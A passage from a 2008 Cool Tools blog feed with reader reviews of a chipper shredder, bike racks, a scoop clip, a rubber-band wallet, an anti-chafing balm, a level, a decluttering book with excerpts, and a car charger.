src="http://www.kk.org/cooltools/mosquitobar-sm2.jpg" width="75" height="62" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000306.php">Mosquito Netting</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=EuWx7J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=EuWx7J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=967hEJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=967hEJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=qsrxGJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=qsrxGJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/337020853" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/337020853/002937.php http://www.kk.org/cooltools/archives/002937.php Backpacking Wed, 16 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002937.php MacKissic Mighty Mac Chipper Shredder <img src="http://www.kk.org/cooltools/chipper-shredder-sm.jpg" /> <p><br /> I bought a Mighty Mac shredder/chipper about 25 years ago, have used it -- heavily at times -- all these years and, with a few engine repairs and turning the shredder blades around once (they are 2-sided), it's worked flawlessly on our 1/2-acre homestead. This is a "hammermill" chipper with free-swinging hammer blades for the top-feed hopper, as well as a chipper, a side feed where you put in larger branches (it will grind up a 2x4) at a 90-degree angle to the balanced flywheel blade that runs on the same axle as the shredder blades. If you get one of the bigger professional type units you don't need a separate grinder, but for home-style operation, I wouldn't fool with any of the lower-cost feed-it-in-the-top units. You don't really need to shred stuff like oak leaves (they compost nicely as is), and the smaller shredders tend to choke on stuff such as 1-incg diameter branches. This unit has changeable screens so you can adjust from fine to coarse output.</p> <p>Be aware: these are dangerous tools. If you get careless and push down on brush in the hopper and get a sleeve caught in the blades, you'll end up with a mangled (or no) hand. See the simple 2x4 pusher tool below for pushing stuck vegetation into the blades. I also use a Collins machete for chopping up branches for easy feeding and of course -- Grandma speaking here -- goggles (chips fly), earphones, and gloves.</p> <p>Mine (depicted above) has a 7HP Briggs and Stratton motor. The current models have a 10 HP. I wouldn't bother with the electric starter; the rope pull works fine.</p> <p>-- Lloyd Kahn</p> <p>MacKissic Mighty Mac Chipper Shredder - 12PT10<br /> $1900 (includes shipping)<br /> Available from <a href="http://dolphinope.stores.yahoo.net/10chsh1.html">The Lawnmower Shop</a></p> <p>Manufactured by <a href="http://mackissic.com/">MacKissic</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="chippershreddersafety-sm.jpg" src="http://www.kk.org/cooltools/chippershreddersafety-sm.jpg" width="300" height="147" class="mt-image-none" style="" /></span><br /> Pusher safety tool made from 2X4: cross piece an inch or so narrower than hopper's bottom opening (9-1/2"), screwed on to a 21" handle</p> <p><br /> <strong><em>Related items previously reviewed in Cool Tools:</em></strong></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="alligator-loppers-sm2.jpg" src="http://www.kk.org/cooltools/alligator-loppers-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001752.php">Black & Decker Alligator Lopper Chainsaw</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="lumber_wizard_sm2.jpg" src="http://www.kk.org/cooltools/lumber_wizard_sm2.jpg" width="73" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001593.php">Lumber Wizard</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="bahco-swedish-axe-sm2.jpg" src="http://www.kk.org/cooltools/bahco-swedish-axe-sm2.jpg" width="75" height="51" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001621.php">Bahco Swedish Clearing Axe</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=OCDoAJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=OCDoAJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=6dq1qJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=6dq1qJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=7rwyJJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=7rwyJJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/336031222" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/336031222/002936.php http://www.kk.org/cooltools/archives/002936.php Gardens Tue, 15 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002936.php CETMAracks <img src="http://www.kk.org/cooltools/cetmarack-sm.jpg" /> <p>I don't own a car, so when I go to the store for large quantities of beer or buckets of cat litter I use the CETMA, a lightweight steel rack that's tough as nails. I know a couple messengers that have crashed and the rack took the brunt of the force dishing it out to car doors or whatever obstacle happened to be there, and the rack only absorbed a slight crinkle or bend without compromising anything at all in it's performance. I've been using a CETMArack for a couple years and currently have a 5-rail on my '81 single speed, all-weather utility grocery coffee shop beer bike (a 3-rail is plenty big enough if you only plan an occasional twelve pack or a couple library books; they also offer a 7-rail version!). Keeping the load up front over the front wheel lets you control the weight a bit more and doesn't bog down like a rear rack. You cannot ride like you normally would, hopping curbs or diving into corners when you have 27 pounds of cat litter on the front. But it's good to get a change of pace once in a while; a gravity reminder keeps you humble. I also like CETMAracks because of the guy who makes them. Made by hand in Eugene, OR. No outsourcing. No overseas production. And now they even include home-baked cookies with your order.</p> <p>-- Mark Pilder</p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="cemtarack-ex-sm.jpg" src="http://www.kk.org/cooltools/cemtarack-ex-sm.jpg" width="212" height="225" class="mt-image-none" style="" /></span></p> <p>CETMAracks<br /> 5-rail<br /> $80 (uncoated - bare metal)<br /> $100 (powder-coated)<br /> Available from <a href="http://cetmaracks.com/">CETMAracks</a></p> <p>Also available:</p> <p>7-rail<br /> $100 (uncoated - bare metal)<br /> $120 (powder-coated)<br /> <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="cetmarack-7rail-sm.jpg" src="http://www.kk.org/cooltools/cetmarack-7rail-sm.jpg" width="198" height="150" class="mt-image-none" style="" /></span></p> <p>3-rail<br /> $80 (powder-coated)<br /> <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="cetmarack-3rail-sm.jpg" src="http://www.kk.org/cooltools/cetmarack-3rail-sm.jpg" width="195" height="150" class="mt-image-none" style="" /></span></p> <p><br /> <em><strong>Related items previously reviewed in Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="pythonbungeekit-sm2.jpg" src="http://www.kk.org/cooltools/pythonbungeekit-sm2.jpg" width="75" height="55" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001250.php">Python Bungee Kit</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="xtracycle2web-sm2.jpg" src="http://www.kk.org/cooltools/xtracycle2web-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001234.php">Xtracycle</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="grocery_pannier-sm2.jpg" src="http://www.kk.org/cooltools/grocery_pannier-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000674.php">Grocery Bag Panniers</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=mQBAOJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=mQBAOJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=TG8psJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=TG8psJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=dWYgBJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=dWYgBJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/335239845" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/335239845/002935.php http://www.kk.org/cooltools/archives/002935.php Autonomous Motion Mon, 14 Jul 2008 09:24:01 -0800 http://www.kk.org/cooltools/archives/002935.php Scoop Clip <img src="http://www.kk.org/cooltools/scoopclip-sm.jpg" /> <p>I've seen a few incarnations of the convenient scoop-clip mashup, including a version that's stainless steel. Normally I wouldn't opt for plastic -- especially if I can avoid it -- but this twofer has one unique benefit: two scoops, one tsp. and one tbsp. If I were a baker, I'd use this for flour or sugar. So far, ours remains tethered to the coffee. While my approach to brewing isn't terribly scientific, I'm getting there.</p> <p>-- Steven Leckart</p> <p>Scoop Clip<br /> $5<br /> Available from <a href="http://tinyurl.com/6frsrr">Pampered Chef</a></p> <p><br /> <em><strong>Related items previously reviewed on Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="whirlwindcup-sm2.jpg" src="http://www.kk.org/cooltools/whirlwindcup-sm2.jpg" width="68" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001179.php">Whirlwind Cup</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="aeropress-sm2.jpg" src="http://www.kk.org/cooltools/aeropress-sm2.jpg" width="34" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001187.php">Aeropress</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="zeroll-scoops-sm2.jpg" src="http://www.kk.org/cooltools/zeroll-scoops-sm2.jpg" width="74" height="57" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001873.php">Zeroll Ice Cream Scoops</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=uYY9WJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=uYY9WJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=SxjVJJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=SxjVJJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=2HDmDJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=2HDmDJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/332629457" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/332629457/002932.php http://www.kk.org/cooltools/archives/002932.php Kitchen Fri, 11 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002932.php Money-Band <img src="http://www.kk.org/cooltools/moneyband-sm.jpg" /> <p>Instead of an uncomfortable wallet in my back pocket, I use this rubber band to carry all of my essentials -- credit card, debit card, driver's license, work ID, insurance card. I really was skeptical of spending $3 for a 5-pack* of rubber bands, but I gave it a shot. The bands are a bit shorter than the standard office variety, so you can put one around your credit cards on the narrow end without having to double it over. As is, it provides a snug fit. They're also very tough, about as thick and robust as the kind used on lobster claws. I've been using my original band for the past seven months. My "wallet" can now fit easily in my front pocket at all times with no discomfort.</p> <p>-- Eric Doherty</p> <p>Money-Band<br /> $6 (includes shipping)<br /> Available from <a href="http://www.money-band.com/">Money-Band.com</a></p> <p>*NOTE: The manufacturer indicated a newer version of the Money-Band is available for $3 for one single band, <em>not</em> a 5-pack. Additionally, the manufacturer indicated the newer vision is a bit thicker little and about 1/8-inch wider.</p> <p><em><strong>Related items previously reviewed on Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="moneybelt-sm2.jpg" src="http://www.kk.org/cooltools/moneybelt-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/002611.php">Eagle Creek All-Terrain Money Belt</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="all_ett wallet-sm2.jpg" src="http://www.kk.org/cooltools/all_ett%20wallet-sm2.jpg" width="74" height="59" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001661.php">ALL-ETT Billfold Wallet</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="zippo moneyclip-sm2.jpg" src="http://www.kk.org/cooltools/zippo%20moneyclip-sm2.jpg" width="75" height="66" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001650.php">Zippo Money Clip Pocket Knife</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=ZK8zmJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=ZK8zmJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=EErHQJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=EErHQJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=RQUN8J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=RQUN8J" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/331674056" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/331674056/002930.php http://www.kk.org/cooltools/archives/002930.php Consumptivity Thu, 10 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002930.php BodyGlide <img src="http://www.kk.org/cooltools/bodyglide-sm.jpg" /> <p>As a cyclist and triathlete, I've been a fan of products like <a href="http://www.pacelineproducts.com/Category56/Chamois_Butt_r.aspx">Chamois Butt'R</a> for years, but it was only last year I stumbled across BodyGlide in a giant bin in the Triathlon section of SportsBasement. In a matter of weeks, I went from interested to addicted. It's simple stuff you just apply anywhere you have rubbing issues: your netherbits, nipples, wrists, ankles, cankles, armpits or pretty much any other body part prone to chaffing, scraping, or friction. For triathletes, it's great to put on the neck and shoulders to keep your wetsuit from chafing. I also smear it on my wrists and ankles to help me get out of my suit faster in that first transition. I even put it on the outside of my wetsuit at the ankles to make it nice and slippery. Cyclists can use it like chamois butter (although I'm not sure it's good for your chamois like a traditional creme) and for runners it's great for the inner thigh (or if you're prone to <a href="http://www.flickr.com/photos/andycarvin/130437233/">bloody nipples</a>. Naturally, it's great for hiking and backpacking as well. There are even versions with sunscreen and analgesics to cover multiple bases. Just don't share it, okay? That's totally grody.</p> <p>-- Mathew Honan</p> <p>Body Glide<br /> $15<br /> Available from <a href="http://www.amazon.com/dp/B00062JDK0/ref=nosim/kkorg-20">Amazon</a></p> <p>Manufactured by <a href="http://bodyglide.com/">W Sternoff LLC</a></p> <p><br /> <strong><em>Related items previously reviewed on Cool Tools:</em></strong></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="fixing-feet-sm2.jpg" src="http://www.kk.org/cooltools/fixing-feet-sm2.jpg" width="50" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000684.php">Fixing Your Feet</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="garmin-forefunner305-sm2.jpg" src="http://www.kk.org/cooltools/garmin-forefunner305-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/002019.php">Garmin Forerunner 305 & MotionBased Training</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="body-for-life-sm2.jpg" src="http://www.kk.org/cooltools/body-for-life-sm2.jpg" width="60" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000385.php">Body for Life</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=YauepJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=YauepJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=mWdj5J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=mWdj5J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=sHrVgJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=sHrVgJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/330722669" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/330722669/002928.php http://www.kk.org/cooltools/archives/002928.php Somatics Wed, 09 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002928.php Black & Decker Accu Mark Level <img src="http://www.kk.org/cooltools/accu-mark-level-sm.jpg" /> <p>I've moved three times in four years, but never quite mastered the art of hanging artwork. Move any frame in our home and you'd be likely to find no less than two sets of holes. Well, not any more. At 36", this level seemed like overkill (especially since most everything I hang is in the 8" x 10" realm), but now that I have one, I don't know how I ever got by without it. On either side of the three bubble levels are two 10-inch rulers with sliding "targets." Each target has a t-shape cut out, allowing you to mark exactly where you want the nail(s) to go. More or less fool-proof. It's also incredibly light and easy to maneuver, even with one hand. These days when we buy art, I don't dread the prospect of putting it up.</p> <p>-- Steven Leckart</p> <p>Black & Decker Accu Mark Level<br /> $25<br /> (36")<br /> Available from <a href="http://www.amazon.com/dp/B000UKMWMO/ref=nosim/kkorg-20">Amazon</a></p> <p>Manufactured by <a href="http://www.blackanddecker.com/">Black & Decker</a></p> <p><br /> <strong><em>Related items previously reviewed on Cool Tools:</em></strong></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="tinyshowcase-sm2.jpg" src="http://www.kk.org/cooltools/tinyshowcase-sm2.jpg" width="75" height="70" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001823.php">Tiny Showcase</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="polelevel-sm2.jpg" src="http://www.kk.org/cooltools/polelevel-sm2.jpg" width="59" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001382.php">Pole Level</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="butterfly-alpha-sm2.jpg" src="http://www.kk.org/cooltools/butterfly-alpha-sm2.jpg" width="57" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000919.php">Butterfly Alphabet #2</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=c23FEJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=c23FEJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=CMgXFJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=CMgXFJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=sUAtYJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=sUAtYJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/329757414" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/329757414/002927.php http://www.kk.org/cooltools/archives/002927.php Craft Tue, 08 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002927.php It's All Too Much <img src="http://www.kk.org/cooltools/Its-all-too-much-sm.jpg" /> <p>I moved to California hauling a lot of boxes still unopened from at least two previous purges of epic proportions. Sound at all familiar?</p> <p><em>It's All Too Much</em> is a terrific book that inverts the typical approach to dealing with existential kipple. Rather than helping you find new places and novel ways to "organize" all your crap, author Peter Walsh encourages you to explore why you ever kept all that junk in the first place. Does it reflect a fantasy waistline or a long-abandoned career? What about this "priceless" relic of a late loved one that's been sitting in a moldy trash bag for 10 years? Be honest: what place do these things have in the life that you imagine for yourself? Because, if the stuff you accumulate isn't actively helping get you closer to a life you truly want, then it's getting in the way, and it needs to go. Period.</p> <p>The biggest change in attitude this book made in my life was to teach me not to generate false relevance by "organizing" stuff I don't want or will never need. Organization is what you do to stuff that you need, want, or love - it's not what you do to get useless stuff out of sight or to manufacture makebelieve meaning. For me, this is about the opposite of organizing; it means disinterring every sarcophagus of crap in my house and, item by item, evaluating whether it's making my family's life better today. And if some heirloom really is precious to me, can I find a better home for it than a shelf in the back of my garage?</p> <p>You can't believe how emotionally complex this process is for a craphound like me, but once I get started, it's completely exciting - the illusion that all this junk is making me happy melts away with every scrap of paper or broken piece of equipment I can get out of the way.</p> <p>That's been this book's revelation for me: this is about calculating the very real cost that clutter incurs every day, then deciding what you can tolerate _not_ doing about it. The mindless junk of your past crowds out opportunities and sets pointless limitations. Move out the junk, and you create room for the rest of your life. Ultimately, it's not just a question of tidying your house; it's a question of liberating your heart.</p> <p>-- Merlin Mann</p> <p><br /> Merlin Mann's review turned me onto this fantastic book. We've rethought our household because of it. We were reminded that life is not about stuff; it's about possibilities, which the right tools can enable. For a world of expanding stuff, this book is the necessary anti-stuff tool. If you are reading Cool Tools, you need to read this. It will help you distinguish between that which is fabulous for you personally and that which is just more junk to organize. I've learned so much from the author that I've excerpted it generously in the hope that even if you don't read the book, you'll glean a bit of its wisdom.</p> <p>--KK</p> <p>It's All Too Much<br /> Peter Walsh<br /> 2006, 240 pages<br /> $15<br /> Available from <a href="http://www.amazon.com/dp/0743292642/ref=nosim/kkorg-20">Amazon</a></p> <p>Sample excerpts:</p> <p><small>Imagine the life you want to live. I cannot think of a sentence that has had more impact on the lives of people I have worked with. ... When clutter fills your home, not only does it block your space, but it also blocks your vision.</p> <p>*</p> <p>You need space to live a happy, fruitful life. If you fill up that space with stuff for "the next house," your present life suffers. Stop claiming your house is too small. The amount of space you have cannot be changed -- the amount of stuff you have can.<br /> *</p> <p>I know it sounds strange, but if you start by focusing on the clutter, you will never get organized. Getting truly organized is rarely about "the stuff."<br /> This is the bottom line: If your stuff and the way it is organized is getting you to your goals... fantastic. But if it's impeding your vision for the the life you want, then why is it in your home? Why is it in your life? Why do you cling to it? For me, this is the only starting point in dealing with clutter.</p> <p>*</p> <p>If it's taken you ten years or more to accumulate your mess, it's impossible to make it disappear overnight. Letting go is a learning process. You might need to start slowly, and it may take time to discover that not having things makes your life better, not worse.</p> <p>*</p> <p>Most things that you save for the future represent hopes and dreams. But the money, space, and energy you spend trying to create a specific future are wasted. We can't control what tomorrow will bring. Those things we hoard for an imaginary future do little other than limit our possibilities and stunt our growth. When I urge you to get rid of them, I'm not telling you to discard your hopes and dreams. It's actually quite the opposite. Because if you throw out the stuff that does a rather shabby job of representing your hopes and dreams, you actually create room to make dreams come true.</p> <p>*</p> <p>It's easy to accumulate things, but hard to let go. Trust me--if you always add and never subtract, you will eventually bury yourself. You need to set limits, and the limits are easy to create. They are determined by the amount of space you have, your priorities and interests, and the agreements you make with other members of your household.</p> <p>Clutter takes over. One thing that constantly surprises me is that regardless of the amount of clutter in a home, the homeowners often express some surprise at it being there -- almost as though someone filled their home with stuff while they were away on vacation! People freely admit that it is their stuff, but in the next breath they tell me they are confounded by how it got that way.<br /> You own your possessions. What you have is yours, or is in your case. It's your responsibility. It's your doing.</p> <p>*</p> <p>Get rid of the trash to make room for the treasures. Let the things that are important take center stage.</p> <p>*</p> <p>In my experience, close to half of what fills a kitchen has not seen the light of day in the last twelve months. Face facts: If you haven't used an item in the last year, it is highly unlikely that you really need it or that you are going to ever get enough use from it to justify it cluttering up your home. Take the plunge and get rid of it!</p> <p>If you're tempted to keep something because it was expensive, remember the difference between value and cost. Value is what something is worth. You spent a lot of money on it. To throw it away would mean admitting that the money was wasted. Now you need to think about the cost. What is it costing you to keep this item? How much space? How much energy?</p> <p>*</p> <p>There are only three options for each and every item you come across in this, your initial purge:</p> <p>1) Keep. This is the stuff that you want to stay in your home. You use it all the time. It's crucial to the life you want to live. Or (let's be honest) you don't really use it, but can't bear to part with it just now.</p> <p>2) Trash. Remember that every bag you fill is space you've created to live and love your life. Everything you decide to throw away is a victory. Make it a competition to see who can fill more trash bags.</p> <p>3) Out the door. So you've had trouble getting rid of stuff because it's "valuable"? Well, here's your chance to either make a little money or let someone put it to real use. The items that go into the "out the door" zone are items that you are either going to sell--a yard sale, on consignment, or even online--or you are going to donate to a charitable organization. Other items here include things that are being returned to their rightful owners or to someone who has a real use for that item. Once in this pile, the item never comes back into your home.</p> <p>*</p> <p>Instead of "Why don't you put your tools away?" ask "What is it that you want from this space?"</p> <p>Instead of "Why do we have to keep your grandmother's sewing kit?" ask "Why is that important to you? Does it have meaning?"</p> <p>Instead of "There's no room for all of your stuff in there," say "Let's see how we can share this space so that it works for both of us."</p> <p>Instead of "Why do you have to hold on to these ugly sweaters your dad gave you?" ask "What do these sweaters make you think of or remind you of?"</p> <p>Instead of "I don't understand how you can life with all of this junk," ask "How do you feel when you have to spend time in this room?"</p> <p>*</p> <p>Mementos are not memories. Just because it was a gift does not mean you must keep it forever. If it is important, then keep it in a condition that shows that it is important.</p> <p>*</p> <p>When the purpose of the room is lost, clutter inevitably follows.</p> <p>*</p> <p>Put your relationship first. Preserve your sense of peace. Enhance your sleep. Find another place for it. Even if you live in a studio apartment, you must create a separate, sacred space for your bedroom. Put up a screen or a curtain. Use a bookshelf to create a wall if you can't afford to have one built. This is too important to ignore.</p> <p>*</p> <p>When it comes to clothes, it is seldom an issue of not enough space--there is never enough space. The real issue is simply too much stuff, and that's where we need to look for the solution to the clothing clutter.</p> <p>*</p> <p>Every single time I help organize someone's closet, I find clothing that still has the original sales tags on it, clothing that has never been worn. When I ask about it, the response is always the same: "It was such a bargain, I couldn't pass it up!" A Bargain. It's hanging in the closet, unworn. Please explain to me how exactly that is a bargain? If you have unworn clothes that have been in your closet longer than six months, you should either give them to a worthwhile charity or sell them online where they will fetch the best price. Get them out of the closet and clear some space for the things you love and wear.</p> <p>*</p> <p>Reality check -- Giving to charities<br /> Goodwill received a billion pounds of clothing every year. Ultimately, they use less than half of the clothing they get. Clothing is cheap, and the cost of sorting, cleaning, storing, and transporting the clothes is higher than their value. If you wouldn't give an article to a family member, it's probably not good enough for charity. Sure, it's great to get the tax deduction ad it makes you feel like you didn't waste money buying the clothes, but if you're truly charitable, be sensitive to the needs of the organization. Charities aren't dumping grounds for your trash. Talk to your local charities or visit <a href="http://www.charitynavigator.org/">www.charitynavigator.org</a>. Find out what they can most use. Although giving to charities is a great way to get stuff out of your house, it's far better not to let stuff into your house.</p> <p>*</p> <p>Reality check -- Collections<br /> It's a collection if:<br /> it's displayed in a way that makes you proud and shows that you value and honor it.<br /> looking at it brings you pleasure.<br /> you enjoy showing it to others.<br /> it is not an obsession that is damaging your relationships.<br /> it is not buried under other clutter.<br /> it doesn't get in the way of living the life you wish you had.</p> <p>*</p> <p>Holiday in/out<br /> Remember the In/Out Rule -- you don't want more to come in than goes out. But holidays tend to be one-way. Items come in, in, in! What goes out? Now's the time to examine your haul and see what items of equivalent size and use can go.</p> <p>*</p> <p>My job may be all about organization and decluttering, but I cannot say enough times that it is not about "the stuff." I have been in more cluttered homes than I can count, and the one factor I see in every single situation is people whose lives hinge on what they own instead of who they are. These people have lost their way. They no longer own their stuff--their stuff owns them. I am convinced that this is more the norm than the exception in this country. At some point, we started to believe that the more we own, the better off we are. In times past an in other cultures, people believe that one of the worst things that can happen is for someone to be possessed., to have a demon exercise power over you. Isn't that what being inundated with possession is-- being possessed?</small></p> <p><br /> <em><strong>Related items previously reviewed on Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-file" style="display: inline;"><img alt="freecycle-sm2" src="http://www.kk.org/cooltools/freecycle-sm2"></span><br /> <a href="http://www.kk.org/cooltools/archives/000488.php">Freecycle</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="farewell-subaru-sm2.jpg" src="http://www.kk.org/cooltools/farewell-subaru-sm2.jpg" width="51" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/002838.php">Farewell, My Subaru</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="consumer-search-sm2.jpg" src="http://www.kk.org/cooltools/consumer-search-sm2.jpg" width="97" height="24" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000563.php">Consumer Search</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=GwoGfJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=GwoGfJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=uvFT9J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=uvFT9J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=bKdbTJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=bKdbTJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/329012242" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/329012242/002926.php http://www.kk.org/cooltools/archives/002926.php Consumptivity Mon, 07 Jul 2008 08:58:26 -0800 http://www.kk.org/cooltools/archives/002926.php Multi-Use Car Charger <img src="http://www.kk.org/cooltools/car-charger-sm.jpg" /> <p>I've been using this multi-use car charger in our older camper van for over a year. With two cigarette lighter ports and two USB ports, it is by far the best auto accessory for us power users and road warriors. It comes configured to plug into an unused cigarette lighter receptacle, but can also be installed with either double sided tape (included) or using removable tabs and screws (included) to permanently mount inside a vehicle. I wired ours directly to the Eurovan's wiring to replace the single cigarette lighter port near the driver's seat. Very heavy duty in construction, it's built like a tank. No heat, no troubles. It's made a great addition to the vehicle, which we use frequently during the summer and winter for multi-day trips. Now we can routinely power up our cell phones, window-mounted TomTom GPS and a laptop (with a 100W max inverter). The USB ports have worked great to power everything we've hooked up to it: iPod, cell phones, Bluetooth kit. While most chargers and inverters I've seen max out at 10 or 15 amps, this one handles 20 amps, which is enough for all four devices to charge at the same time. The total power we pull from this charger when simultaneously charging is maybe 10 amps, but it's great to have the option of using a bigger inverter to pull additional power. This unit also sports a removable 20A fuse on the back panel should anything go awry. The instruction sheet is clear and shows how to wire the unit to your vehicle without too much fuss. At under $20, an awesome deal.</p> <p>-- Robert Cullinan</p> 